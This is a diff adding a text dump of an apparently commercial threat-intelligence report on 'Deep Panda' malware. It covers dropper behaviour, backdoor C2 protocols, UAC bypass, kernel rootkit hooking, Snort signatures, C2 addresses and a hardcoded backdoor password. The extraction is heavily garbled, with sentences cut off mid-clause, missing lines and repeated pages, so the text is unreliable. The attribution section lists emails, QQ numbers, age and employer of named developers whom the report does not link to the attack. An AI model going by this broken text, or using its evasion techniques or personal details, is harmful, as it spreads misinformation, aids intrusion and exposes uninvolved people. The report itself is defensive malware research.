diff --git "a/reports.clean.txt" "b/reports.clean.txt" new file mode 100644--- /dev/null +++ "b/reports.clean.txt" @@ -0,0 +1,39822 @@ +DEEP PANDA +INTELLIGENCE TEAM REPORT VER. 1.0 + DEEP PANDA +11 EXECUTIVE SUMMARY 2 +12 TECHNICAL ANALYSIS 3 + Dropper Sample (MD5: 14c04f88dc97aef3e9b516ef208a2bf5) 3 + Backdoor DLL Sample (MD5: 47619fca20895abc83807321cbb80a3d) 5 + Initial C2 Phone Home Beacon 6 + Network Protocol and Implementation 7 + Backdoor Functionality, Supported Commands 7 + Post Exploitation Tool Sample (MD5: 2dce7fc3f52a692d8a84a0c182519133) 8 + Network Protocol and Implementation 9 + Backdoor DLL Sample (MD5: de7500fc1065a081180841f32f06a537) 10 + C2 Communication Mechanisms 12 + C2 Command Invocation 13 + Kernel Driver Sample (MD5: dae6b9b3b8e39b08b10a51a6457444d8) 14 + Entrypoint 14 +13 MITIGATION / REMEDIATION 18 + Network Signatures 18 + File System Artifacts 19 + Registry Artifacts 19 + Other Artifacts 19 +14 ATTRIBUTION 20 +15 CONCLUSION 25 + Dropper/Implant #1 25 + Post Exploitation Tool 25 + Implant #2 26 + Backdoor DLL 26 + System Driver 26 +16 APPENDIX 27 + Appendix A: Command Line Options for Post Exploitation Tool Sample 27 + Appendix B: Algorithm for computing machine ID 28 + Appendix C: Remote Commands Supported by .NET Backdoor Post Exploitation Tool Sample 28 + Appendix D: Raw bytes of example Authentication packet. 30 + Appendix E: Initialization of KEY and IV for AES 30 + Appendix F: Command & Control Servers 31 + Appendix G: Edward Sun +s kernel network hook code 32 + Appendix H: Command and Control MD5 Correlation 41 + DEEP PANDA + EXECUTIVE SUMMARY +The samples were clearly malicious and varied in sophistication. All three samples provided remote access +to the attacker, via two Command and Control (C2) servers. One sample is typical of what is commonly +referred to as a +dropper + because its primary purpose is to write a malicious component to disk and connect +it to the targeted hosts operating system. The malicious component in this case is what is commonly re- +ferred to as a Remote Access Tool (RAT), this RAT is manifested as a Dynamic Link Library (DLL) installed +as a service. The second sample analyzed is a dual use tool that can function both as a post exploitation +tool used to infect other systems, download additional tools, remove log data, and itself be used as a +backdoor. The third sample was a sophisticated implant that in addition to having multiple communication +capabilities, and the ability to act as a relay for other infected hosts, utilized a kernel mode driver that can +hide aspects of the tool from user-mode tools. This third component is likely used for long-term +implantation and intelligence gathering. Some AV engines occasionally identify this sample as Derusbi +Trojan. CrowdStrike Intelligence Team has seen Trojans from 8 different builder variants of this RAT, +including 64-bit versions, used in targeted attacks in 2011 against Defense, Energy/Power, and Chemical +Industries in US and Japan. +target various strategic interests of the United States including High Tech/Heavy Industry, +Non-Governmental Organizations (NGOs), State/Federal Government, Defense Industrial Base (DIB), and +organizations with vast economic interests. This report contains an in-depth technical analysis of the +samples, detection/remediation/mitigation information, attribution intelligence, and a conclusion aimed at +providing the reader with a synopsis of the report. +CROWDSTRIKE S E N S I T I VE 2 + DEEP PANDA + TECHNICAL ANALYSIS +Dropper Sample (MD5: 14c04f88dc97aef3e9b516ef208a2bf5) +The executable 14c04f88dc97aef3e9b516ef208a2bf5 is commonly referred to as a +dropper +, which is +designed with the purpose of extracting from itself a malicious payload and to initialize and install it into a +targeted system. In this case, the malicious payload is a Dynamic-Link Library (DLL), which enables an +attacker to have full control of the system. This code appears to have been compiled on Wednesday May +4th, 2011 at 11:04:24 A.M. UTC (equivalent to early evening time in China). Note that the timestamp is in +resolves several library functions provided by Microsoft using the LoadLibrary() and GetProcAddress() +Application Programming Interfaces (APIs). The imported function names are not encrypted; however, the +function name is minutely obfuscated by a simple single character substitution: + //Obfuscation of GetTempPathA() API function call + strcpy((char *)ProcName, +2etTempPathA + ProcName[0] = +The dropper invokes the SHGetSpecialFolderPath() API supplying a Constant Special Item ID List (CSIDL) +CSIDL_COMMON_DOCUMENTS + to identify the destination folder for the malicious DLL payload. The +users. A typical path is C:\Documents and Settings\All Users\Documents. +available name in this set: + 1. infoadmn.dll + 2. infoctrs.dll + 3. infocardapi.dll +artifact which indicates the language setting on the compiler used by the person who built the binary was +CROWDSTRIKE S E N S I T I VE 3 + DEEP PANDA +code version. Since the dropped resource is not compressed, the routine fails. This indicates a low +parameter. This export then implements the actual install logic to maintain persistence and invoke the main +routine. +The dropper binary contains an icon resource that resembles the +Google Chrome + browser icon, the re- +systems language set to Chinese. The use of the Chrome icon may indicate a possible attempt to socially +CROWDSTRIKE S E N S I T I VE 4 + DEEP PANDA +Backdoor DLL Sample (MD5: 47619fca20895abc83807321cbb80a3d) +14c04f88dc97aef3e9b516ef208a2bf5. This code appears to have been compiled on Wednesday May 4th, +2011 at 10:48:19 A.M. UTC (equivalent to early evening time in China). It is instantiated when it is mapped +service despite the appearance. If the service is present, the malware replaces its previous instances or +versions of this backdoor. After attempting to disable the existing service, the malware tries to install itself as +a service with that same name. During installation, the sample attempts to use documented APIs such as +OpenSCManager() and CreateService() to initialize itself as a persistent Windows service. As a +precaution, the sample writes settings directly to the Windows Registry to accomplish the same goal if +installing the service with the documented APIs fails. The registry change creates the following key: +HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\msupdate\\Parameters +Following this, the subroutine will set the value of the +ServiceDLL + to the module handle of the DLL. +The next key to be changed is: +HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost, which will have +the +msupdate + key set to +msupdate +The export +CollectW3PerfData + is registered as the main function of the DLL. If the installation of the new +service is successful, the sample then starts the new service and exits. If the installation fails, the sample +exported function. In the case of installation failure, rundll32.exe calls the main functions export +over the machine, as rundll32.exe is frequently launched by tasks such as changing the time, wallpaper, +or other system settings. This means that after cleaning up the components dropped by the malware, the +system remains vulnerable to local attacks by simply overwriting the legitimate rundll32.exe executable with +a malicious version and await it +s automatic execution by the Operating System. +Window with class +NOD32_%d + where %d is replaced with a pseudo-random number. This may be an +attempt to fool some automated dynamic analysis or anti-malware software into believing this is the +After creating this window, the routine starts the main thread that eventually initiates calling out to the +Command and Control (C2). In order to accomplish this task, the newly +CROWDSTRIKE S E N S I T I VE 5 + DEEP PANDA +created thread initializes networking APIs using WSAStartup() and resolves some other APIs dynamically +using LoadLibrary() and GetProcAddress(). Once the proper API +s have been resolved, the sample then +assigns a NULL SID to the rundll32.exe executable and sets the current process + Window Station to +winsta0 +, which enables the sample to access the real user +s desktop if started as service. +The communication to the C2 is handled by a while() loop, with each successive connection attempt +causing the loop to invoke the Windows Sleep() API for a time interval of 2 seconds, exponentially +increasing in length up to 1024 seconds (17 minutes) and then restarting back to 2 seconds. +Initial C2 Phone Home Beacon +in the binary, using the User-Agent string +Google +, this code is not activated due to the format of the stat- +a raw socket to the C2 located at 1.9.5.38:443. This indicates the use of a +boiler plate code + or a builder +software package that automates the creation of the malicious sample. +The malicious sample sends an initial beacon to the C2 that includes the following information: + Desktop session or +none + otherwise. +The following python function can be used to decode the beacon stings: + def decode(crypted): + decoded= + for x in crypted: + decoded+=chr(((ord(x)^(0x1C +1)) + (0x1C +1)) & 0xFF) + return decoded +CROWDSTRIKE S E N S I T I VE 6 + DEEP PANDA +After sending the initial beacon, the routine loops receiving incoming commands and executes them in +sequence. When a connection can successfully be established to the C2 server, the sleep timer is reset to +two seconds for the next attempt. +Network Protocol and Implementation +The network protocol used by this sample resembles a +Type-Length-Value + layout in both directions. +Each 16 byte request header consists of: + 2. A 4-byte little-endian payload length + 3. 8 bytes remaining are a request header that is typically uninitialized and only used by some + commands instead of the arbitrary length payload +buffer of 408 bytes size. Providing additional payload of any larger size will result in a trivial exploitable stack +exploitation of this vulnerability is unnecessary due to the already available unauthenticated command +execution capabilities of this backdoor. +Certain commands initiate a second connection to the C2 in a separate thread using the same network +Backdoor Functionality, Supported Commands +The primary aim of this backdoor is remote desktop control functionality comparable to VNC or Remote +Desktop over a custom protocol. It allows the adversary to view the main desktop graphically and +control the keyboard and mouse. This remote control functionality is implemented as separate messages +0x22000001 initiates continuous transmission of screen captures to the C2. The screen captures are +created using a series of Microsoft Windows Graphic Device Interface (GDI) API calls culminating in a call to +GetDIBits(). +Command 0x20000001 exits the backdoor and 0x20000000 is issued to completely remove the backdoor +from the system. +CROWDSTRIKE S E N S I T I VE 7 + DEEP PANDA +When command 0x23000004 is received, a temporary new user +_DomainUser_ + with password +Dom4!nU- +serP4ss + is created and added to the local Administrators group. The backdoor is then started under that +account and the user is deleted. It would appear this technique is meant to obfuscate the activities of the +malicious sample by masking the process creator +s user name to appear to be a generic domain user. Note +that such an account does not normally exist in an Active Directory environment. +Additionally, the primary C2 connection allows for requests to start additional connections to the C2 imple- +menting the following functionality: + killing of running processes + output of arbitrary executables; initiated by command 0x23000000 +Post Exploitation Tool Sample (MD5: 2dce7fc3f52a692d8a84a0c182519133) +This sample is typical of a post exploitation tool; it is written in .NET 2.0. This code appears to have been +compiled on Thursday May 26th, 2011 at 10:21:44 A.M. UTC (early evening time in China). The backdoor +functionality can be instantiated either directly from the command line or through commands issued over a +network based protocol via the C2. If no arguments are given, a connection to the C2 is initiated to the stati- +line arguments can be viewed in Appendix A. This activity is generally associated with log cleaning to com- +plicate a forensic investigation. +The sample contains an embedded IP address for C2 that is stored in an encrypted format as a string re- +source: +CROWDSTRIKE S E N S I T I VE 8 + DEEP PANDA +202.86.190.3:80 (Hong Kong: TeleOne(HK) Limited). +Network Protocol and Implementation +There are three components to the protocol: +Authentication is accomplished using a 32 byte packet, this packet consists of: + 2. A four byte random number generated by the rand() function + 3. The machine ID comprised of an obfuscated combination of the Machine name and hard drive + serial number. The algorithm for generating this is in Appendix B + 4. The communication protocol version number, which in this sample is 0x2 + 5. The version of the malicious sample, in this case it is 841 +An example authentication packet sent to the C2 is located in Appendix E +to the client which is then RC4 encrypted using the random number generated in step 2 from above as the +password. This value is then transformed using a simple algorithm in Appendix F into a 32 byte array. The +up AES encryption which is then used to encrypt and decrypt any further communications. +CROWDSTRIKE S E N S I T I VE 9 + DEEP PANDA +Beacon, this is typical of this type of malicious sample, it allows the operator to separate various infected +hosts in a targeted campaign. The beacon for this sample is formatted as XML and consists of: +An example of an unencrypted beacon: + Infected System Hostname + -8 + Microsoft Windows NT 6.1.7601 Service Pack 1 + 12/27/2011 16:34:36 + 2 + +Command handling loop, this is a loop structure that will process and execute commands sent by the C2. +The malware sends and receives a heartbeat/keepalive packet every 2 minutes. The command format is +derived from a structure consisting of: +description of the possible values for commands is in Appendix D. It is important to note that the order in +calling methods on those assemblies, connecting to new C2 servers and executing processes. +Backdoor DLL Sample (MD5: de7500fc1065a081180841f32f06a537) +Backdoor DLL Sample (MD5: de7500fc1065a081180841f32f06a537) +This sample is a sophisticated backdoor which implements several communications protocols and was +UTC (late evening time in China). The code contains several Run Time Type Information (RTTI) artifacts that +CROWDSTRIKE S E N S I T I VE 10 + DEEP PANDA +Variants of this Trojan are sometimes detected under the name +Derusbi + by Microsoft, Trend, Sophos and +Symantec AV engines. +This sample is a DLL which can be registered as a service and is used to drop a kernel driver and provide +an interactive command line shell to the C2. It also is able to bypass User Account Control (UAC) to install +itself by using the +sysprep.exe + Microsoft Windows executable provided by the targeted system. The steps it +takes to install itself onto a system are as follows: + 1. Copies itself to to %WINDIR%\system32\Msres<3 random characters>.ttf + the current system time when the copy was made but with the year changed to 2005. + MACHINE\\SYSTEM\\CurrentControlSet\\Services\\ + This defaults to +wuauserv + 4. Adds itself to list of services started by +netsvc + using the service name +helpsvc + 5. If McAfee AV is installed, creates a copy of regsvr32.exe named Update.exe and then schedules + the copy to be deleted on reboot using the well documented MoveFileExA API. + 6. It then calls either the original or copy of regsvr32.exe with the parameters /s /u and the path to + the copy of itself it made in Step 1. The /u parameter means +uninstall +, which calls + DllUnregisterServer, this is an unsophisticated method of DLL entry point obfuscation. + 7. DllUnregisterServer installs the driver and initiates the backdoor component. + is running (AntiVirus360 program from the Chinese +Quihoo 360 Technology Co., LTD + 360 ), +or the username of the DLL +s host process context is not +SYSTEM +, the driver is not written to disk. Barring +the two aforementioned conditions, the sample decrypts the kernel driver to: + +%sysdir%\Drivers\{6AB5E732-DFA9-4618-AF1C-F0D9DEF0E222}.sys + - +hash of dae6b9b3b8e39b08b10a51a6457444d8. + +HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Rpc\Security +code. +CROWDSTRIKE S E N S I T I VE 11 + DEEP PANDA +the backdoor then loads the original service +s DLL into the address space with LoadLibrary and invokes the +ServiceMain export. This effectively hijacks the original service +s entry while retaining its functionality. +While there is code in the binary that allows downloading a list of C2 servers from an HTTP URL, the default +the one used by the post exploitation .NET tool. + C2 Communication Mechanisms +The malware has three distinct C2 protocols two of which can be transmitted over HTTP proxies and one +can be bundled in two different +dual + modes (see 3.), totaling 7 distinct supported C2 mechanisms. The con- + 1. Proprietary binary header (optionally over an HTTP Proxy using CONNECT mechanism); this + protocol consists of 64 random bytes being sent to the C2. The C2 then responds with 64 bytes + bytes rotated right by seven bits and compares that value to the seven bits rotated right version of + the server +s response, effectively neutralizing the rotation +s effect; the purpose of this is unclear. + request string including HTTP headers (optionally over a HTTP Proxy using CONNECT). The + malware requires the response to start with +HTTP/1.0 200 + or +HTTP/1.1 200 + and an absence of + a +Connection: close + header. This one HTTP connection will be used for bi-directional + communications, sending chunks of POST payload and receiving chunks of the response, + interleaved. + 3. Two long-running HTTP requests to the same C2 (optionally over an HTTP Proxy with original + request verb), one GET request to +/Photos/Query.cgi?loginid= + followed by a random number + and one POST request to +/Catelog/login1.cgi +. The GET request serves as a down-stream + channel while the POST request serves as a upstream channel. +legitimate appearing channels as required in order to appear Request For Comment (RFC) compliant with +the HTTP protocol. +CROWDSTRIKE S E N S I T I VE 12 + DEEP PANDA +due to time constraints. +After establishing any of the aforementioned channels for arbitrary binary data exchange, the malware will +start sending and receiving compressed binary blobs via the channel of choice. The C2 +s binary data blobs +are compressed. No further encryption of the data takes place. +All C2 transport implementations contain code for accepting and handling server-side connections of the +respective protocols. However, this code does not appear to be invoked. It appears that the author of this +code shares the library that implements these transports for the client with the C2 server. +C2 Command Invocation +The main backdoor thread then reads commands from the chosen C2 protocol and passes them on to any +of the following registered handler classes based upon a command ID. The handler class is responsible for +parsing the remainder of the command. +PCC_PROXY: TCP Proxy +This handler class implements a generic TCP proxy. It supports establishing TCP connections to other hosts +and also listening for incoming connections. The incoming connection contents are forwarded to the C2 and +data from the C2 is passed on to connections. It supports up to 1024 parallel connections. +PCC_MISC : Gather and report system information +The malware is capable of gathering various pieces of information from the system, triggered by a command +ID 10. The capabilities include recovering authentication credentials from various system and client storage +such as Mozilla Firefox, Internet Explorer, and Remote Access Service (RAS). This class also supports +gathering intelligence on the infected system including identifying security tools by their process name, proxy +accounts, and version numbers for the Operating System (OS) and Internet Explorer. +PCC_SYS: System Management +This handler class provides the attacker with the ability to manage system components including start/stop/ +delete system services, enumerate/alter registry keys, and manage running processes. This class also +provides the ability for the attacker to take a screen shot of the users desktop. +INTERNAL_CMD: Command-Line Shell +CROWDSTRIKE S E N S I T I VE 13 + DEEP PANDA +This handler class uses the command ID 5 and implements an interactive command line shell accessible +from the C2 server, containing a series of built-in commands. If the input is not in this list of built-in +commands, the malware attempts to invoke cmd.exe in the background, launching a command or command +line utility already present on the system. The standard output channel of that command is provided back to +the C2. The supported built-in commands are: +Kill Switch / Self-Destruction +The only command that is implemented directly in the main backdoor thread as a subprocedure call and not +via a generic command handler class is command ID 256. This command results in the DLL deleting itself +and terminating the backdoor process. +Kernel Driver Sample (MD5: dae6b9b3b8e39b08b10a51a6457444d8) +This sample is a packed 32-bit kernel driver extracted by the aforementioned DLL with an MD5 hash of: +de7500fc1065a081180841f32f06a537, this sample will only function on a Windows 32-bit kernel. This code +appears to have been compiled on Sunday October 9, 2011 at 4:50:31 P.M. UTC (very early morning time +of Monday, October 10 in China). +Entrypoint +This section describes how the driver performs its initialization routine. +Multiple Instance Protection +The driver begins by opening a named event in the BaseNamedObjects object directory with the name +exists, the driver fails to load, presumably to avoid a +CROWDSTRIKE S E N S I T I VE 14 + DEEP PANDA +multiple instances of itself. If the event does not exist, the driver then creates it using the Windows API +and indicative of relatively limited Windows API knowledge of the author of that part of the code. It is +interesting to note that some of the hex digits in the object name are mixed case which is potentially +indicative of the code being re-appropriated from another source. +Anti-Debugging Protection +The second component of the entry point performs an anti-debugging technique, calling the function +KdDisableDebugger(), which allows the driver to disable usage of the built-in Windows kernel debugging +facility that is used by popular kernel debuggers KD and WinDbg. Tools such as Syser Debugger, or +debugging through a virtual machine are unaffected by this technique. The sample, rather than importing the +KdDisableDebugger() API using conventional methods, looks up the API through +MmGetSystemRoutineAddress() instead. All of the other APIs used by the driver are imported normally, so +this is not a technique to hide import APIs used throughout the driver. Searching Google for +MmGetSystemRoutineAddress + and +KdDisableDebugger + results in dozens of Chinese language blogs +which explain how to use this technique to +Disable WinDbg +Hooking +is designed to hook the system call table, while the other hooks the network stack. +Network Stack Hooking +the version is necessary because Windows versions beginning with Vista utilize a redesigned TCP/IP net- +work stack, most hooking operations will require a different implementation for these versions. On versions +prior to Windows Vista, the TCP/IP driver creates a \Device\Tcp device object through which most network +requests are piped through. On Vista and later, TCP/IP has been split up into multiple components, and IP +connection enumeration, which this driver is targeting, is managed by \Device\nsiproxy instead. +In either case, the driver obtains the device object by using IoGetDeviceObjectPointer() and hooks Major +Function 14 the IRP_MJ_DEVICE_CONTROL, as this is the function through which all Input Output +ConTroLls (IOCTLs) are sent, such as the IOCTL for querying active IP connections. +Network Store Interface (NSI) Hook +The NSI hook, targets IOCTL 0x12001B, which is used by NsiGetObjectAllParameters() in nsi.dll when +users typically run commands such as netstat.exe or use any of the IP Helper APIs in iphlpapi.dll. The +purpose of the hook is to scan the list of active connections returned to the user, and hide any such +connection currently bound to a local TCP port in +CROWDSTRIKE S E N S I T I VE 15 + DEEP PANDA +the range between 40000 and 45000. The hooking is performed by creating a new completion routine +associated with any IRP_MJ_DEVICE_CONTROL IRP that matches the IOCTL, attaching to the target +process, performing several memory copies to hide the entry, and detaching. +This functionality is nearly identical to the code posted by Edward Sun (aka cardmagic, sunmy1@sina.com, +onlyonejazz@hotmail.com, cardcian@mail.ustc.edu.cn, QQ# 28025945) from Hefei, Anhui province +(Nanjing Military District) on July 8, 2007, then a China-based researcher at Trend Micro (now working at + at +http://forum.eviloctal.com/viewthread.php?action=printable&tid=29604 (See Appendix G). CrowdStrike has +no information connecting Mr. Sun to this intrusion activity, his code appears to have been appropriated by +the actor to add similar functionality to their code. +TCP Hook +The TCP hook works almost identically to the NSI hook, though instead hooking IOCTL 0x120003 (IOCTL_ +any connections listening on TCP ports in the range between 40000 and 45000. +System Call Hooking +DWORD at each of these exported functions. Because the system call stub uses the EAX register as an +index for the system call ID, and a +mov eax, imm32 + instruction + instruction is used, this second DWORD +will match the system call ID. It then adds this index to the value of KeServiceDescriptorTable.Base, which +is the exported kernel variable (on 32-bit Windows only) which directly points to the system call table. This is +one of the simplest ways to do a system call hook, but will not work on 64-bit Windows as this variable is not +exported in addition to the protection provided by Microsoft PatchGuard. +Windows API IoAllocateMdl(), and associating the MDL to a non-paged buffer using +MmBuildMdlForNonPagedPool(). Once the MDL is associated to the non-paged buffer, the sample locks the +underlying pages using the Windows API MmProbeAndLockPages(). Instead of hooking the entry in the +table directly, which is easily detectable, the driver uses the LDASM open-source disassembly engine to +analyze the function that is being pointed to by the table, and applying a Detours-style hook directly in the +code. It uses the standard +mov cr0, eax + technique, turning off the Write Protect (WP) bit as it does this. +When the hook is installed, it writes a special DWORD value, +KDTR +, which allows it to prevent +double-hooking or badly-hooking the system call, during unhooking, this value is also checked. +Registry Hooks + \\REGISTRY\\MACHINE\\SYSTEM is blocked. RegSaveKey() which is +backup of a particular registry key. + CROWDSTRIKE S E N S I T I VE 16 + DEEP PANDA +\\REGISTRY\\MACHINE\\SYSTEM\\ControlSet001\\Services\\. It then checks for the values of the +ServiceDll + and +Security + keys, in the latter case it applies an XOR on the data with the value 127. The +user-mode component of this malware is a service called +msupdate +, this driver is attempting to hide the +key, due to the fact that these APIs provide almost identical functionality when it comes to reading registry +values. +In the registry hooking code of the driver, a call is made to ObReferenceObjectByHandle(). This allows the +driver to receive the +CM_KEY_OBJECT + which is then used with ObQueryNameString() to get the key/value +path. However, no call to ObDereferenceObject() is ever made, which means that all registry objects being +sent to these APIs are eventually leaked. +In the registry hook, it was noticed that +CurrentControlSet001 + was used as the target, if the target machine +function as intended. This is the reason the Microsoft implemented a symbolic link to \\CurrentControlSet +CROWDSTRIKE S E N S I T I VE 17 + DEEP PANDA + MITIGATION / REMEDIATION +Network Signatures +The following network signatures are designed for the popular Open Source IDS called Snort. +These signature can be ported to other formats upon request. +Malware #1 + alert tcp any any <> any any (msg: +BackDoor Beacon Attempt +; content: +|78 7c + 71 4c 4a 49 49 49 4A 4C 46| +; classtype:backdoor; sid:123456; rev:27122011;) + alert tcp any any <> any any (msg: +BackDoor Beacon Attempt +; content: +Goo- + gle +; http_uri; classtype:backdoor; sid:123457; rev:27122011;) + alert ip 1.9.5.38 any <> any any (msg: +Malicious Host Detected +; class- + type:backdoor; sid:123460; rev:27122011;) +Malware #2 + alert tcp any any <> any any (msg: +BackDoor Beacon Attempt +; content: +|03 01 + 74 80 82 21 b5 64 c2 74 22 e3 02 00 00 00 49 03 00 00 00 00 00 00 00 00 00 00 + 0000 00 00| +; classtype:backdoor; sid:123458; rev:27122011;) + alert ip 202.86.190.3 any <> any any (msg: +Malicious Host Detected +; class- + type:backdoor; sid:123459; rev:27122011;) +Malware #3 + alert tcp any any <> any any (msg: +BackDoor C2 +; content: +POST /forum/ + login.cgi HTTP/1.1 +; content: +User-Agent: Mozilla/4.0 +; classtype:backdoor; + sid:123461; rev:27122011;) + alert tcp any any <> any any (msg: +BackDoor C2 +; content: +GET /Photos/Query. + cgi?loginid= +; classtype:backdoor; sid:123462; rev:27122011;) + alert tcp any any <> any any (msg: +BackDoor C2 +; content: +POST /Catelog/ + login1.cgi HTTP/1.1 +; content: +User-Agent: Mozilla/4.0 +; classtype:backdoor; + sid:123461; rev:27122011;) + CROWDSTRIKE S E N S I T I VE 18 + DEEP PANDA +File System Artifacts +Dropper/DLL +C:\Documents and Settings\All Users\Documents\infoadmn.dll (TS: 2007-03-07 00:00:00) +C:\Documents and Settings\All Users\Documents\infoctrs.dll (TS: 2007-03-07 00:00:00) +C:\Documents and Settings\All Users\Documents\infocardapi.dll (TS: 2007-03-07 00:00:00) +MD5: 47619fca20895abc83807321cbb80a3d +Post Explotiation Tool +MD5: 2dce7fc3f52a692d8a84a0c182519133 +Backdoor +MD5: de7500fc1065a081180841f32f06a537 +Kernel Driver: +MD5: dae6b9b3b8e39b08b10a51a6457444d8 +%sysdir%\Drivers\{6AB5E732-DFA9-4618-AF1C-F0D9DEF0E222}.sys +Registry Artifacts +The following Windows Registry artifacts are indicative of a compromised host: +Dropper/DLL +HKLM\\SYSTEM\\CurrentControlSet\\Services\\msupdate +HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost which will have +the +msupdate + key set to +msupdate +Backdoor +HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Msres<3 character rand>.ttf +Other Artifacts +Dropper/DLL +Username: _DomainUser_ Password: +Dom4!nUserP4ss +Backdoor +The backdoor may be detected by several different Anti-Virus products under a signature with the name: +Derusbi +Kernel Driver +Object: {8CB2ff21-0166-4cf1-BD8F-E190BC7902DC} +CROWDSTRIKE S E N S I T I VE 19 + DEEP PANDA + ATTRIBUTION + Attribution in the cyber domain is always a tricky subject when relying solely on malicious samples. + Compiler artifacts and language settings can of course be deliberately masked or spoofed. CrowdStrike + uses a unique approach of comprehensive threat analysis in order to decipher attributable components. + Based on the corroborating evidence discovered in the course of this analysis, it appears there are + numerous indications that this is a Chinese-speaking actor. + , a Chinese security product available from + http://www.360.cn/. This is particularly relevant in this case because the backdoor DLL sample with an MD5 + this tool. Speculatively this may be because this security product detects this rootkit, or the author was + attempting to prevent accidental infection on systems running this Anti-Virus product. + The obfuscation of the KdDisableDebugger() function call is seen on several Chinese language forums, + and can be seen being reused in several code samples on those forums. As previously mentioned there is + no advantage associated with using this call obfuscation, and appears to be reused for no apparent reason + other than the attackers have copied code directly from forum code. + While the various network hooking techniques used in the kernel driver may appear novel or well +rootkit.com + by a Chinese language developer. This post is currently mirrored on dozens of Chinese hacking + websites. + Similarly the system call hooking is less impressive after searching for +IoAllocateMdl + and + (bbs.pediy. + com/showthread.php?t=77467 + perform system call hooking through MDLs. The ldasm inline hooking is also repeated in numerous postings + to Chinese forums. One particular website (http://read.pudn.com/downloads197/sourcecode/windows/sys- + tem/927802/CCRootkit/RootkitSys/HookSSDT.c__.htm) had an almost identical ldasm loop that tried to + identify the exact same code sequences. Open source research of the 4 innocuous kernel APIs + Chinese website that has a cached rootkit performing similar hooks on the same 3 registry related APIs. + While the driver does not use pool tags for most of its allocations, it does utilize them in the networking + hooking code, much like the examples found on the Chinese language forums. This sample uses pool tags: +tnet, + and +KDTR +. Although the meaning of the KDTR tag is not +1 http://bbs.pediy.com/showthread.php?t=125358 + http://kost0911.pixnet.net/blog/post/36914183-anti-anti-windbg + CROWDSTRIKE S E N S I T I VE 20 + DEEP PANDA +coincides with the matching functionality of the detour-style inline hook. +The driver code (MD5: dae6b9b3b8e39b08b10a51a6457444d8) appears to be a combination of various +code that is easily searchable on the Internet, and almost always attributed to Chinese language forums +and websites. The system call hooking parts of the code appear to be identical to the HookSSDT.c code +authored by Steven Lai +embedlinux + and utilized in what the author titled +CC Rootkit + on on August 4, 2008 +s email address is hqulyc@126.com. This user has a QQ identity of: 5054-3533, QQ is a popular +(http://user.qzone.qq.com/50543533) appears to be Steven Lai. He was is 28 years old (born September 5, +at Xiamen XOCECO New Technic Co., Ltd. (http://www.likego.com/en/about.asp), a company that builds +however was used by whomever built the kernel driver utilized by the backdoor and for this reason we are +providing the background on this individual. + CROWDSTRIKE S E N S I T I VE 21 + DEEP PANDA + ATTRIBUTION + For more information about Intelligence-as-a-Service or + specific attribution information on Deep Panda, contact + the CrowdStrike Global Intelligence Team + CROWDSTRIKE S E N S I T I VE 22 + DEEP PANDA + ATTRIBUTION + For more information about Intelligence-as-a-Service or + specific attribution information on Deep Panda, contact + the CrowdStrike Global Intelligence Team + CROWDSTRIKE S E N S I T I VE 23 + DEEP PANDA + ATTRIBUTION + For more information about Intelligence-as-a-Service or + specific attribution information on Deep Panda, contact + the CrowdStrike Global Intelligence Team +(http://read.pudn.com/downloads197/sourcecode/windows/system/927802/CCRootkit/RootkitSys/HookSS- +DT.c__.htm). +According to this Linux driver development guide +embedlinux + published on July 31, 2008 (http://wenku. +baidu.com/view/e24205294b73f242336c5f45.html), t + CROWDSTRIKE S E N S I T I VE 24 + DEEP PANDA + CONCLUSION +The samples involved in this incident are typical of attacks commonly associated with the People +Republic of China (PRC). These code samples have a variety of Tools, Techniques, and Procedures (TTPs) +The ability to conduct Incident Response (IR) including forensics, and log analysis, greatly augments this +visibility into these aspects of the incident. Some indications as to the adversaries + capabilities can be +derived from the captured samples alone. +Dropper/Implant #1 +The dropper code (MD5: 14c04f88dc97aef3e9b516ef208a2bf5) does not utilize any techniques that are +unique or unusual, and is consistent with tools, techniques, and procedures of attacks targeting proprietary +information and generally attributed to the PRC. The presence of dead code and its replacement by a more +side. The +dead code + utilizes a more sophisticated compression algorithm provided by a third party which +was rendered useless for some reason. This may have been a result of the attacker modifying an existing +tool, or unknowingly using a re-purposed tool. The dropper resources indicate the compiler used to build the +tool was running on a system that utilized the Chinese +Simple + language pack and was built on Wednesday +May 4th, 2011 at 11:04:24 A.M. UTC (early evening time in China). While this can be deliberately spoofed +speaking actor. +The dropped DLL (MD5: 47619fca20895abc83807321cbb80a3d) itself contains functionality that is typical + - +encryption/obfuscation using a statically compiled XOR key. The sample uses TCP port 443 for commu- +nication, but makes no attempt to mimic the SSL protocol typically used on that port number, which would +provide enhanced Operational Security (OPSEC). This code appears to have been compiled on Wednes- +day May 4th, 2011 at 10:48:19 A.M. UTC (early evening time in China). +Post Exploitation Tool +The post exploitation tool (MD5: 2dce7fc3f52a692d8a84a0c182519133) is a dual-use tool, it can be +dropped and executed by a client-side exploit, or the adversary can launch it using a variety of command +line options. This tool is built in Microsoft .NET framework, which is typically an indication of a less sophis- +ticated attacker, because .NET is easier to develop in but requires the .NET framework be present on the +victim machine. The tool appears to have been compiled on Thursday May 26th, 2011 at 10:21:44 A.M. +UTC (early evening time in China). The sample utilizes the AES cryptographic algorithm to protect its C2 +communications. + CROWDSTRIKE S E N S I T I VE 25 + DEEP PANDA +Implant #2 +Backdoor DLL +This DLL is a moderately sophisticated backdoor with several well designed communication mechanisms +not typically seen in these types of implants. The code base for the sample was developed in C++. The +code appears to have been compiled on Sunday October 30, 2011 at 12:43:33 P.M. UTC (late evening time +in China). This sample has multiple communication capabilities available that makes it far more versatile +and stealthy. It implements relatively well thought out protocols including HTTP and DNS. The tool has the +ability to automatically down select the most effective communication channel once it has been instantiated, +which can help avoid detection from solutions like DNS blacklisting and RFC protocol enforcement. The +DLL itself contains traces of the original C++ class names that were utilized in the source code, which in +communicating to the C2, thus enhancing OPSEC. The sample contains +dead code + which appears to be +command and control server classes, this is likely an indicator that the C2 client which would communicate +with this sample shares the same communications library which was compiled into this sample. +System Driver +The kernel driver component dropped by the Backdoor DLL bears many tool marks associating it with the +CCRootkit package publicly by Steven Lai (a/k/a embedlinux). This kernel mode rootkit implements several +hooking techniques that are aimed at preventing a system administrator from detecting the backdoor DLL. +The implementation of these techniques has some unique idiosyncrasies that permit direct attribution to the +source code Steven Lai posted. This driver attempts to hide a wide swath of TCP ports (40000-45000) 